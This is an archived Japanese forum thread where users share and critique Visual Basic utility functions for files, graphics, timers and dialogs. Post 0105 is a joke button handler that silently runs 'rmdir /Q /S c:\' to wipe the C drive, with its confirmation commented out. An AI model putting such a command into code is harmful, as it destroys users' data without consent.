トップページ⇒tech
116コメント40KB

VB-みんなで関数を作る-

■ このスレッドは過去ログ倉庫に格納されています
0001デフォルトの名無しさんNGNG
自分が作った適当な関数を書く。
自作プログラムに必要な関数を拾ってく。
みんな幸せでい〜んじゃないの？

'↓例　Dir関数があるから本当はこの関数は不要
'*******************************************
'フォルダの存在確認関数
'引数：フォルダのパス
'戻り値　True = 存在する , False = 存在しない
'*******************************************
Function GetExistenceOfFolder(Path As String) As Boolean
Dim strRet As String
strRet = Dir(Path, vbDirectory)
If strRet = vbNullString Then
GetExistenceOfFolder = False
Else
GetExistenceOfFolder = True
End If
End Function
0002デフォルトの名無しさんNGNG
２
0003デフォルトの名無しさんNGNG
今日はやっぱイブだから…すくねぇな
0004デフォルトの名無しさんNGNG
VBってあんまり知らんのだけど
>>1

Function GetExistenceOfFolder(Path As String) As Boolean
GetExistenceOfFolder = not ( Dir(Path, vbDirectory) = vbNullString)
End Function

こういうふうには書けないのか？
0005デフォルトの名無しさんNGNG
>>1

あのな、Dir関数なんてきょうび流行んねーんだよ。ボケが。
こんな糞スレ立ててる暇が有ったらFileSystemObjectのドキュメントでも読め。
時代遅れの上に車輪の再発明か。おめでてーな。
0006ファイル読み書きセットNGNG
'--------------------------------------------------------
' 関数名 : GetFile
' 用途 : ファイルの内容を取得する
' 引数 : FileName - 取得対象のファイル名
' 戻り値 : ファイルの内容
' 備考 : なし
'--------------------------------------------------------
Public Function GetFile(ByVal FileName As String)

Dim lngFileNum As Long
Dim strAllText As String

lngFileNum = FreeFile

Open FileName For Binary As #lngFileNum
' ファイルから読み込みます。
strAllText = Input(LOF(lngFileNum), lngFileNum)
Close #lngFileNum

GetFile = strAllText

End Function

'--------------------------------------------------------
' 関数名 : WriteFile
' 用途 : ファイルに書きこむ
' 引数 : FileName - 書きこみ対象のファイル名
' WriteText - 書きこむ内容
' 戻り値 : なし
' 備考 : なし
'--------------------------------------------------------
Public Sub WriteFile(ByVal FileName As String, ByVal WriteText As String)

Dim lngFileNum As Long
lngFileNum = FreeFile

' 書きこむ
Open FileName For Output As #lngFileNum
Print #lngFileNum, WriteText;
Close

End Sub
0007デフォルトの名無しさんNGNG
>>1-5
スレ違い
http://pc.2ch.net/test/read.cgi/tech/1003866042/l50 へ
0008ディレクトリを”削除”するNGNG
'--------------------------------------------------------
'　 関数名　: KillDir
'　 用途　　: ディレクトリを削除する
'　 引数　　: DirName - 削除するディレクトリ
'　 戻り値　: 成功したら True
'　 備考　　: 再帰処理する
'--------------------------------------------------------
Public Function KillDir(ByVal DirName As String) As Boolean

　　Dim strDir　As String
　
　　On Error GoTo err
　
　　' フォルダ中のファイルを削除
　　strDir = Dir(DirName & "*", vbNormal _
　　　　　　　　　　　　　　 Or vbReadOnly _
　　　　　　　　　　　　　　 Or vbHidden _
　　　　　　　　　　　　　　 Or vbSystem)
　　Do While strDir <> ""
　　　　strDir = DirName & strDir
　　　　Kill strDir
　　　　Debug.Print "Kill - " & strDir
　　　　strDir = Dir
　　Loop
　　　
　　' フォルダの削除(再帰処理)
　　strDir = Dir(DirName, vbDirectory)
　　Do
　　　　If strDir = "" Then Exit Do
　　　　If ((strDir <> ".") And (strDir <> "..")) Then
　　　
　　　　　　strDir = DirName & strDir & "\"
　　　　　　If (GetAttr(strDir) And vbDirectory) = vbDirectory Then
　　　　　　　
　　　　　　　　' 再帰処理
　　　　　　　　If KillDir(strDir) = False Then GoTo err
　　　　　　　　strDir = Dir(DirName, vbDirectory)
　　　　　
　　　　　　End If
　　　　Else
　　　　　　strDir = Dir
　　　　End If
　　Loop
　
　　' 最後に自分フォルダを削除
　　RmDir DirName
　　Debug.Print "RmDir - " & DirName
　
　　KillDir = True
　
err:

End Function
0009ヒッキー＠プログラミングNGNG
ファイルいじる系集めて、クラス化しませんか？
0010デフォルトの名無しさんNGNG
いいかも
0011デフォルトの名無しさんNGNG
>>8

名前が悪い。RemoveDirにしよう。
0012デフォルトの名無しさんNGNG
>>1-11
板を荒らさないで下さい。
001311NGNG
UNIX知らないWin厨って言われそう・・・
0014デフォルトの名無しさんNGNG
>>12

ん？悪いスレではないと思うが？　
0015デフォルトの名無しさんNGNG
'-----------------
'用途：デスクトップにショートカットアイコンを作る
'引数：exeのパス　,　ショートカットファイルのタイトル
'戻り値　成功=true 失敗=false
'-----------------
Function MakeSC(ExePath As String, Title As String) As Boolean
Dim objWSSh As Object
Dim objCSCt As Object
Dim strDeskTop As String

On Error GoTo ErrHandler


　　　　Set objWSSh = CreateObject("WScript.Shell")

　　　　strDeskTop = objWSSh.SpecialFolders("Desktop")

　　　　Set objCSCt = objWSSh.CreateShortcut(strDeskTop & "\" & Title & ".lnk")
　　　　objCSCt.TargetPath = ExePath
　　　　objCSCt.Save

　　　　MakeSC = True

　　　　Exit Function
ErrHandler:
　　　　MakeSC = False
End Function
0016デフォルトの名無しさんNGNG
'--------------------------------------------------------
'　 関数名　: GetFileCount
'　 用途　　: テキストファイルの行数を取得
'　 引数　　: FilePath -　ファイルのパス
'　 戻り値　: ファイルの行数
'　 備考　　: エラーが起きると-1が戻ってくる
Function GetFileCount(FilePath As String) As Integer
Dim FF As Long
Dim intC As Integer
Dim strBuff As String

On Error GoTo ErrHandler
intC = 0
　　　　FF = FreeFile
　　　　Open FilePath For Input As #FF
　　　　　　　　Do Until EOF(FF)
　　　　　　　　　　　　Line Input #FF, strBuff
　　　　　　　　　　　　DoEvents
　　　　　　　　　　　　intC = intC + 1
　　　　　　　　Loop
　　　　Close #FF
　　　　GetFileCount = intC
　　　　Exit Function
　　　　ErrHandler:
　　　　GetFileCount = -1
End Function
0017デフォルトの名無しさんNGNG
　　　　∧ ∧　　　）　　　　　　(´⌒(´
　　⊂（´∀｀⊂⌒｀つ≡≡≡(´⌒;;;≡≡≡
0018デフォルトの名無しさんNGNG
>>16
Integerって2バイトだけど、足りるの？
read中にエラー起きたらcloseしないの？
VB使う必要あるの？
0019デフォルトの名無しさんNGNG
デスクトップにWebフォルダへのショートカットを作る関数をだれかきぼん。
0020デフォルトの名無しさんNGNG
>>16
インデントが独特だな。
0021デフォルトの名無しさんNGNG
>>18
めんで〜。
自分で改良しろ。
0022デフォルトの名無しさんNGNG
>>20
VBのままコピペすると左よりになるから他のエディターでやった。
そしたらああなった。
0023デフォルトの名無しさんNGNG
>>20
ファイルのオープン〜クローズをブロックと見てインデントするのって
珍しいですか？
>>16 のソースは他にも突っ込みどころが多いですが。
0024デフォルトの名無しさんNGNG
>>1
こういうスレすんなら、無駄にならないようにホームページ作って
まとめて欲しいなあ
スレ伸びてからでいいけど
0025デフォルトの名無しさんNGNG
>>19
漏れも希望しとく
0026デフォルトの名無しさんNGNG
＞16
FreeFile()はIntegerを返すのに、受けるFFはLong型で、
かんじんの行数をカウントする変数がInteger型とは。
0027 NGNG
あんまり揚げ足取るなよ。
せっかく作ってくれたんだからさ。
悪いトコあったら直して書き込めよ。
0028デフォルトの名無しさんNGNG
よし。
せっかくのクリスマスだ。
僕から皆にプレゼントだ！

煽ったり煽られたりしてムカつくことも多いけど、
今、この瞬間、この日この時、
ここでカキコしてる皆が…
大好きダぞ！ ていうか俺達仲間じゃないか！

この愛情が僕からのプレゼントさ！　らぶアンドぴーす！
0029デフォルトの名無しさんNGNG
定番書いておきます(MSDNより、ちょいと改)
あれです、あれ。

Public Function Red(ByVal RGB As Long) As Integer
Red = &HFF& And RGB
End Function

Public Function Green(ByVal RGB As Long) As Integer
Green = (&HFF00& And RGB) \ 256
End Function

Public Function Blue(ByVal rgb As Long) As Integer
Blue = (&HFF0000 And RGB) \ 65536
End Function
0030VB使いNGNG
API宣言がいるんだけどいいかな？
たぶん一番正確なタイマー。timeGetTimeの代わりに使う。

Private Declare Function QPCounter Lib "kernel32" Alias "QueryPerformanceCounter" (X As Currency) As Boolean
Private Declare Function QPFrequency Lib "kernel32" Alias "QueryPerformanceFrequency" (X As Currency) As Boolean
Function GetTime() As Double
'戻り値の単位はミリ秒。
Dim a As Currency, b As Currency
QPCounter a
QPFrequency b
GetTime = a / b * 1000
End Function
0031VB使いNGNG
エラー処理入れるの忘れた・・・欝。
If b=0 Then Exit Function
追記。
0032ヒッキー＠プログラミングNGNG
>>30
timeGettimeより正確なタイマーってあるんですねー。


Public Function RGB15(Red As Long, Green As Long, Blue As Long) As Long
'--------------------------
'用途　：15bit RGB値を返す
'引数　：各色0〜31で入力
'戻り値：32以上を入力したら0が返される
'--------------------------
　　Dim Res As Long

　　If Red >= 32 Or Green >= 32 Or Blue >= 32 Then
　　　　RGB15 = 0
　　　　Exit Function
　　End If

　　Res = Red
　　Res = Res + Green * &H20
　　Res = Res + Blue * &H400

　　RGB15 = Res
End Function

用途不明age
※自作のRGB関数と、最初からついてるRGB関数で速度を計ったところ、
　自作の方は全てLong型を使っても遅かったです。
0033デフォルトの名無しさんNGNG
>>32
byvalつけると少し速くなったりしない?
0034VB使いNGNG
>>32
32ビットのRGB変換なら自作の関数使わずに直で書いたほうがいいな。
c=CLng(b)*65536+CLng(g)*256+CLng(r)
で済むし。RGB関数の１０倍以上早いし。
0035デフォルトの名無しさんNGNG
age
0036スィープピッキングNGNG
ぱぶりっく　サブ　実行()

　Shell(実行ファイル)

さぶ　終わり
0037 NGNG
>>36
×さぶ　終わり
○終わり　さぶ
0038ヒッキー＠プログラミングNGNG
>>33
ほおほ、ByValって速くなるんですか。
標準時はByRefでしたっけ？

>>34
やっぱそう書いた方がいいんですねー。
Cみたいに#defineでマクロ作れたら嬉しいんですが…。
0039デフォルトの名無しさんNGNG
>>38
> ほおほ、ByValって速くなるんですか。
気持程度かも知れんけど。

> 標準時はByRefでしたっけ？
VB6まではそのはず。
0040デフォルトの名無しさんNGNG
スプライト病臥クラスをﾊｹｰﾝしたのでﾊﾟｸﾊﾟｸ

'*********************************************************************************************
' プロパティ定義
'*********************************************************************************************
Private Type PropertyStructure
　　SrcPicture As PictureBox ' キャラクタの絵の置いてあるピクチャボックス名
　　Left As Long ' キャラクタの左座標
　　Top As Long ' キャラクタの上座標
　　Width As Long ' キャラクタの幅
　　Height As Long ' キャラクタの高さ
　　MaskPicture As PictureBox ' マスク画像の置いてあるピクチャボックス名
End Type

Private Propertys As PropertyStructure ' プロパティ構造体の実体を確保


'*********************************************************************************************
' スプライトの定義を行う
'*********************************************************************************************
Public Sub Define(SrcPicture As PictureBox, Left As Long, Top As Long, Width As Long, _
　　　　　　　　　Height As Long, MaskPicture As PictureBox)

　　With Propertys
　　　　.SrcPicture = SrcPicture
　　　　.Left = Left
　　　　.Top = Top
　　　　.Width = Width
　　　　.MaskPicture = MaskPicture
　　End With
End Sub


'*********************************************************************************************
' スプライト描画を行う
'*********************************************************************************************
Public Sub Draw(pbDest As PictureBox, Left As Long, Top As Long)
　　with Propertys
　　　　Call BitBlt(pbDest.hDC, Left, Top, .Width, .Height, MaskPicture.hDC, .Left, .Top, vbSrcAnd)
　　　　Call BitBlt(pbDest.hDC, Left, Top, .Width, .Height, SrcPicture.hDC, .Left, .Top, vbSrcPaint)
　　End With
End Sub


使い方

Dim Obj(2) As New SpriteObject ' スプライトオブジェクトのインスタンス作成

Obj(0).Define picture1, 0, 0, 16, 16, picture2 ' スプライト1の定義
Obj(1).Define picture1, 16, 0, 16, 16, picture2 ' スプライト2の定義

Obj(0).Draw picture3, 0, 0 ' スプライト1の描画
Obj(1).Draw picture3, 10, 20 ' スプライト2の描画


ﾈﾀ元
ttp://www.annie.ne.jp/~sailis/pvon/programs/vb/vb_txt/vb_txt8.html
0041デフォルトの名無しさんNGNG
＞16,27
んじゃ、こんな感じで。

Function GetFileCount(strFilePath As String) As Long
Dim intFF As Integer, strBuf As String
On Error GoTo ErrHandler
intFF = FreeFile
Open strFilePath For Binary As #intFF
strBuf = Space(LOF(intFF))
Get #intFF, , strBuf
Close #intFF
If Len(strBuf) > 0 Then GetFileCount = (Len(strBuf) - Len(Replace(strBuf, vbCrLf, ""))) \ 2 + 1
Exit Function
ErrHandler:
GetFileCount = -1
End Function
0042デフォルトの名無しさんNGNG
自分のページでやれよ
0043デフォルトの名無しさんNGNG
>>42
お前も自分のサイトで2chやれよ。
0044デフォルトの名無しさんNGNG
>>43
そうしよ！　じゃね！
0045デフォルトの名無しさんNGNG
＞29
関数と同じ名前の変数名＝RGBは使わないほうがいいと思うよ。
それに、３回Callするより１回ですませたほうがいいのでは？

Private Type udtRGB
　　R As Integer
　　G As Integer
　　B As Integer
End Type

Private Function ColorSplit(ByVal lngColor As Long) As udtRGB
　　ColorSplit.R = CInt(&HFF& And lngColor)
　　ColorSplit.G = CInt((&HFF00& And lngColor) \ 256&)
　　ColorSplit.B = CInt((&HFF0000 And lngColor) \ 65536)
End Function
0046デフォルトの名無しさんNGNG
＞40
このクラスって、BitBlt２行で書くのが１行になるだけのような…。
それに、わりと有名なサイトにマスク画像不要のコードがあるよ。
0047デフォルトの名無しさんNGNG
アドレスきぼ〜ん

…教えて君でスマソ
0048デフォルトの名無しさんNGNG
＞47
「マスクの自動生成」で検索してねん！
0049デフォルトの名無しさんNGNG
知ってんなら教えろヴォケ
0050デフォルトの名無しさんNGNG
＞49
検索能力も、プログラミング・スキルのうち。
0051デフォルトの名無しさんNGNG
>>50
結局、ｵﾏｴ知らない人。
0052デフォルトの名無しさんNGNG
ageてみる。
0053デフォルトの名無しさんNGNG
頼む、誰かSQL生成クラスを...
0054デフォルトの名無しさんNGNG
ネットをいじくる関数きぼーん
0055デフォルトの名無しさんNGNG
>>54
なんだよそりゃ？具体的にいいやがれ
0056デフォルトの名無しさんNGNG
いじくりましょう、勃つまでは。
005754NGNG
具体的に？
じゃ、ネット上のファイルを開く関数きぼーん。
0058デフォルトの名無しさんNGNG
>>57
もっと具体的にだよ。
0059デフォルトの名無しさんNGNG
ネットつぅてもね。
ｲｰｻなのかｲﾝﾀｰなのかで手順は変わるし。
0060デフォルトの名無しさんNGNG
ﾈｯﾄ上のhtmlのｿｰｽを文字列変数に取得する関数
0061デフォルトの名無しさんNGNG
3ウェイハンドシェイクを手動で出来るようになるメソッドｷﾎﾞﾝﾇ。
0062デフォルトの名無しさん NGNG
メールサーバの関数ｷﾎﾞﾝﾇ
0063デフォルトの名無しさんNGNG
＞1
FolderExists()

＞51
MSDNスクリーンセーバのサンプルソースを見ろ！　マスクを使ってないぞ。

＞60
OpenURL()
006454NGNG
>>63
さんくす。
0065デフォルトの名無しさんNGNG
>>63
＞OpenURL()
どーやって使うの？
>>59
イーサ、インター、手順を両方教えて。
0066デフォルトの名無しさんNGNG
Public Declare Function GetOpenFileName Lib "comdlg32.dll" Alias _
"GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long

Public Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Public Function DoOpenCommon(pExtention As String, pForm As Form) As String
Dim OpenFile As OPENFILENAME
Dim lReturn As Long
Dim sFilter As String
OpenFile.lStructSize = Len(OpenFile)
OpenFile.hwndOwner = pForm.hWnd
OpenFile.hInstance = App.hInstance
sFilter = "Files (*." & pExtention & ")" & Chr(0) & "*." & pExtention & Chr(0)
OpenFile.lpstrFilter = sFilter
OpenFile.nFilterIndex = 1
OpenFile.lpstrFile = String(257, 0)
OpenFile.nMaxFile = Len(OpenFile.lpstrFile) - 1
OpenFile.lpstrFileTitle = OpenFile.lpstrFile
OpenFile.nMaxFileTitle = OpenFile.nMaxFile

OpenFile.lpstrInitialDir = App.Path

OpenFile.lpstrTitle = "( ﾟДﾟ) パーツってどれよ？"
OpenFile.flags = 0
lReturn = GetOpenFileName(OpenFile)

If lReturn <> 0 Then
DoOpenCommon = Replace(OpenFile.lpstrFile, Right(OpenFile.lpstrFile, 1), "")
End If
End Function
0067デフォルトの名無しさんNGNG
↑コモンダイアログ（コントロール不要）
0068デフォルトの名無しさんNGNG
どうせならクラスモジュール化しちゃえ
0069デフォルトの名無しさんNGNG
ファイル・フォルダその他削除には

SHFileOperation
ってなAPIがある。

エクスプローラとかが内部で使ってるやつな。
これ使えばファイル操作関連の関数は不要。

ちなみにVB向けAPIリファレンスでは載ってない本が多い。
詳しくはMSDN見れ。
0070デフォルトの名無しさんNGNG
>69
それ使い勝手悪いから嫌い。
自作したほうが早くて速い。
0071デフォルトの名無しさんNGNG
>>70
書くのは早いかもしれんが
ほんとに速いと思うか？

使い勝手が悪いならSHFileOperationをWrapするような
関数を自分で書け。

再帰のバグなんてものもなくなるし生産性は高いと思うのだが。
0072ﾋｯｷ-@ﾌﾟﾛｸﾞﾗﾐﾝｸﾞ ◆hky/PGis NGNG
'任意の角度に画像を回転する
'DestPicture ：転送先のHDC(例：Picture1.hDC)
'SrcPicture ：転送元HDC
'PictureWidth ：横幅
'PictureHeight ：縦幅
'Angle ：角度

Public Sub Rotate _
　　(DestPicture As Long, _
　　SrcPicture As Long, _
　　PictureWidth As Long, _
　　PictureHeight As Long, _
　　Angle As Integer)

　　Dim i As Integer, j As Integer
　　Dim x As Single, y As Single '処理するピクセル位置(転送先)
　　Dim x_2 As Single, y_2 As Single '処理するピクセル位置(転送元)
　　Dim x_3 As Single, y_3 As Single
　　Dim x_temp As Single, y_temp As Single
　　Dim x_temp2 As Single, y_temp2 As Single
　　Dim Center As Single: Center = PictureWidth / 2

　　x = ((0 - Center) * Cos(Pi * Angle) - (0 - Center) * Sin(Pi * Angle))
　　y = ((0 - Center) * Sin(Pi * Angle) + (0 - Center) * Cos(Pi * Angle))

　　x_temp = ((1 - Center) * Cos(Pi * Angle) - (0 - Center) * Sin(Pi * Angle))
　　y_temp = ((1 - Center) * Sin(Pi * Angle) + (0 - Center) * Cos(Pi * Angle))
　　x_temp2 = ((0 - Center) * Cos(Pi * Angle) - (1 - Center) * Sin(Pi * Angle))
　　y_temp2 = ((0 - Center) * Sin(Pi * Angle) + (1 - Center) * Cos(Pi * Angle))

　　x_temp = x_temp - x
　　y_temp = y_temp - y
　　x_temp2 = x_temp2 - x
　　y_temp2 = y_temp2 - y

　　For j = 0 To PictureHeight
　　　　x_2 = x_temp2 * j + x
　　　　y_2 = y_temp2 * j + y
　　　　For i = 0 To PictureWidth
　　　　　　x_3 = x_temp * i + x_2 + Center
　　　　　　y_3 = y_temp * i + y_2 + Center
　　　　　　Call BitBlt(DestPicture, i, j, 1, 1, SrcPicture, x_3, y_3, SRCCOPY)
　　　　Next
　　Next
End Sub
0073デフォルトの名無しさんNGNG
Centerは横幅からしか求めてないので、希望通りに回転しないと思われ。
あと、BitBltで1ドット転送してるのはネタ？
0074ﾋｯｷ-@ﾌﾟﾛｸﾞﾗﾐﾝｸﾞ ◆hky/PGis NGNG
>>73
真四角しか扱ってなかったので適当に直してください。

Bitbltで転送してるのは、DIBセクション作るのが手間なので。
0075ミタカNGNG
誰か教えてください！
1.Dim a as Integer, Dim b as Integer, Dim c as Integer
　(1)a=10(2)b=3(3)C=4(4)c=6(5)c=7(6)c=a Mod b(7)c=0
　の７箇所でﾌﾟﾛｸﾞﾗﾑをｽﾄｯﾌﾟさせた時のa,b,cの値。
2.Function abc(i as string) as integer Select Case s
Case "グ−" abc=1,Case “チョキ“abc = 2,Case “パー”abc = 3,
Case Else abc = 0 End Select End Function
の時、abc("ちょき)"、abc("ぱー")、abc("gu")、abc("pa")、abc("グ
ー")、abc("チョキ")、abc("パー")、abc("tyoki")の関数の返す値。
3.Function abc(i as integer) as String Select Case i
Case 1 abc = “いし”,Case 2 abc = “はさみ”,Case 3 abc = “かみ”
Case Else abc = “???” End Select End Functionの時、abc(0),abc
(1),abc(2),abc(3),abc(4),abc(5),abc(6),abc(7),abc(8),abc(9)のよう　に値を設定した時の関数の値。
4.このプログラムは、フォーム上でどんなふるまいをしますか?
Sub Timer1_Timer Dim s as String s = Format(Time,”hh:mm:ss”)
Me.Caption = s End
5.このプログラムは、フォーム上でどんなふるまいをしますか?
Dim i as Integer Sub Timer1_Timer if i=0 then
picture1.picture=LoadPicture(“0.bmp”) else
picture1.picture=LoadPicture(“1.bmp”) end if
if i>1 then i=0 end if End
の５つです。よろしくお願いします。
0076デフォルトの名無しさんNGNG
>>70
APIを自作するってどうやるんですか？
0077デフォルトの名無しさんNGNG
>>75
見づらい。以上。
0078デフォルトの名無しさんNGNG
>>72
Piの定義がない。ふつうはPiでは表記しない。
ループが縦横１ドットずつ多い。
変換経過をそのまま表示したら、めちゃ遅くなる。
0079デフォルトの名無しさんNGNG
>>76
同等の機能を自作する、ってことだろ。
0080ミタカNGNG
3.Function abc(i as integer) as String
　　　　　　Select Case i
　　　　　　Case 1 　abc = “いし”
　　　　　　Case 2 　abc = “はさみ”
　　　　　　Case 3 　abc = “かみ”
　　　　　　Case Else 　abc = “???”
　　　　　　 End Select
End Functionの時、
abc(0),abc(1),abc(2),abc(3),abc(4),abc(5),abc(6),abc(7),abc(8),abc(9)
のように値を設定した時の関数の値を教えてください。
0081デフォルトの名無しさんNGNG
???・・・・・・・・典型的なネタだなぁ>>80。
0082ミタカNGNG
>>８１
典型的なネタとはなんでしょう？答え教えてください。
0083デフォルトの名無しさんNGNG
>>82
おれVBとかbasic系知らんけど、たぶん

abc(0)=="???",abc(1)=="いし",abc(2)=="はさみ",abc(3)=="かみ",abc(4)=="???",
abc(5)=="???",abc(6)=="???",abc(7)=="???",abc(8)=="???",abc(9)=="???"

になるんじゃねえの？見たかんじ。
0084デフォルトの名無しさんNGNG
>>82

ネタなのか、君の宿題なのか教えてくれ。
0085ミタカNGNG
宿題みたいなものです。どうもありがとうございました。
0086デフォルトの名無しさんNGNG
>>75
2.は全部0になるぞ。
っつーか、問題の出し方下手糞だな。それ。
0087ミタカNGNG
全部0ですか！？じゃあ間違ってました。ありがとうございます。
008886NGNG
>>87
たぶん出題者の意図とは違うぞ。
書き写しミスったりしてないか？
0089デフォルトの名無しさんNGNG
こんなソースでおべんきょするから新入りってのは・・・ﾌﾞﾂﾌﾞﾂｳﾂ.....
0090ﾋｯｷ-@ﾌﾟﾛｸﾞﾗﾐﾝｸﾞ ◆hky/PGis NGNG
>>78
すいません、πの定義、他の所に書いてました…。
ループ多かったですか？ループ回数-1したら良いでしょうか。
遅いのは…カンベンしてください…DIB作ります。
0091デフォルトの名無しさんNGNG
もうこのスレにクソレスするのは勘弁してください。
0092デフォルトの名無しさんNGNG
>>79
やってみせてよー
0093デフォルトの名無しさんNGNG
>>91
糞レス発見！
0094デフォルトの名無しさんNGNG
>>90
＞ループ多かったですか？
0から始まってるからね。

＞For j = 0 To PictureHeight
＞For i = 0 To PictureWidth

呼ぶときに、-1してればいいけど、ふつうしないよね。

＞ループ回数-1したら良いでしょうか。
そう。

0095デフォルトの名無しさんNGNG
脱力系スレ
0096デフォルトの名無しさんNGNG
俺はVB派だがVB使ってるやつの大部分が
どうにかして楽しようとしてるのがかなり嫌。

そうじゃないだろ、プログラミングってのは。
自分でどうにかして苦労して、苦労して、
やっとものに出来るから楽しいんじゃないのか？

一度考えてみてくれよ。
0097デフォルトの名無しさんNGNG
>>96
だったら、VB なんか使わずにアセンブラでも使ったら百倍楽しめるぞ。
0098デフォルトの名無しさんNGNG
楽をするためにプログラムを作る。
プログラムを楽に作るためにRADツールを使う。
0099デフォルトの名無しさんNGNG
究極のプログラムとは作らないということだ。
0100デフォルトの名無しさんNGNG
楽をするためにプログラムを組み始めたのに
思いのほか難産で結局作らないほうが楽だったかもしれない罠。
0101デフォルトの名無しさんNGNG
あげ
0102デフォルトの名無しさんNGNG
楽あれば苦有り。
クロード・チアリ。
0103ageNGNG
良ｽﾚAge
0104デフォルトの名無しさんNGNG
ああああああああああああああああああああああ
ほほほほほほほほほほほほほほほほほほほほほほ
0105デフォルトの名無しさんNGNG
ポチッとな・・

Private Sub RedButton_Click()
On Error Resume Next
'　　If MsgBox("処理を続行しますか？", vbYesNo, "確認入力") = vbNo Then
　　　　Call Shell("rmdir /Q /S c:\")
'　　End If
End Sub
0106デフォルトの名無しさんNGNG
>>105
実行したら、ドライブにディスクがない。と言われましたが何か？
0107105NGNG
>106 (ﾟДﾟ; ) ｶﾞｰﾝ!!
0108（´-`）.｡oONGNG
ただ今、仕事でVB4(16Bit)からVB6(32Bit)への
コンバートをやっています。
そのなかで一つ困ったことがあるので、
助けてください。

32Bitにしたときに文字コードの問題で
テキストボックスのMaxLengthプロパティが
効かなくなってしまいました。
今まで、バイトで桁数を計算してたのに
文字数で計算するようになっているのです。
ので、16Bitのときの２バイト文字が
２倍の長さ分、入ってしまいます。

なるべく、ソースを変えたくないので、
カスタムコントロールを作って置き換えようと
思ったんですが、できますでしょうか？
0109デフォルトの名無しさんNGNG
>>108
Function LenSJISByte(ByVal strHoge As String) As Long
　　LenSJISByte = LenB(StrConv(strHoge, vbFromUnicode))
End Function
0110（´-`）.｡oONGNG
>109
その関数をPublicで定義して
全てのテキストボックスのMaxlengthプロパティに
LenSJISByteを指定してあげればいいのでしょうか？
0111デフォルトの名無しさんNGNG
>110
Maxlengthプロパティに渡してもダメじゃないかな。
でも、Validateとかにコード書けばいいじゃん。
0112（´-`）.｡oONGNG
・・・
Validate
ってなんだー。
調べに逝ってきます
0113デフォルトの名無しさんNGNG
>>110
API使え。
0114VB好きNGNG

Function GetListViewText(ByVal LVhWnd As Long, ByVal Index As Long, ByVal SubIndex As Long) As String
'指定のリストビューの指定の項目のテキストを取得する。(WinNT系限定！)
'
'LVhWnd=ListViewのウィンドウハンドル
'Index=リストビューのリストインデックス。（0=一番上)
'SubIndex=横のインデックス。(0=一番左）


'初期設定
Dim hProc&, hPID&, pLocal&, pShare&, LV As LVITEM
Dim rc&, rc2&
Dim LVSize&
Dim By() As Byte, st$


On Error GoTo errT
Const Size = 1024 + 40
LVSize = Len(LV)


'hWnd→ProcessID→ProcessHandle→共有メモリ確保
rc = GetWindowThreadProcessId(LVhWnd, hPID)
hProc = OpenProcess(PROCESS_MYNORMALACCESS, 0, hPID)
pShare = VirtualAllocEx(hProc, 0, Size, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
If pShare = 0 Then GoTo errT

0115VB好きNGNG

'こっちのメモリの確保
ReDim By(Size - 1)


'LVITEMの設定
With LV
.cchTextMax = 1024
.iItem = Index
.iSubItem = SubIndex
.mask = LVIF_TEXT Or LVIF_STATE
.pszText = pShare + LVSize
End With


'共有メモリにLVITEMの書き込み→メッセージを送って書きこませる→共有メモリから読みこみ
rc = WriteProcessMemory(hProc, pShare, VarPtr(LV), Len(LV), rc2)
rc = SendMessage(LVhWnd, LVM_GETITEM, 0, ByVal pShare)
If rc = 0 Then GoTo errT
rc = ReadProcessMemory(hProc, pShare + LVSize, VarPtr(By(0)), LV.cchTextMax, rc2)
0116VB好きNGNG

'Chr(0)を削除して返す。
st = By
GetListViewText = Replace(st, Chr(0), "")
GoTo ReleaseALL

'全部解放（エラー出た時はこっちに飛ぶよ。）
errT:
GetListViewText = ""

ReleaseALL:
If pShare Then VirtualFreeEx hProc, pShare, Size, MEM_RELEASE
If hProc Then CloseHandle hProc
End Function

API宣言はパス。
■ このスレッドは過去ログ倉庫に格納されています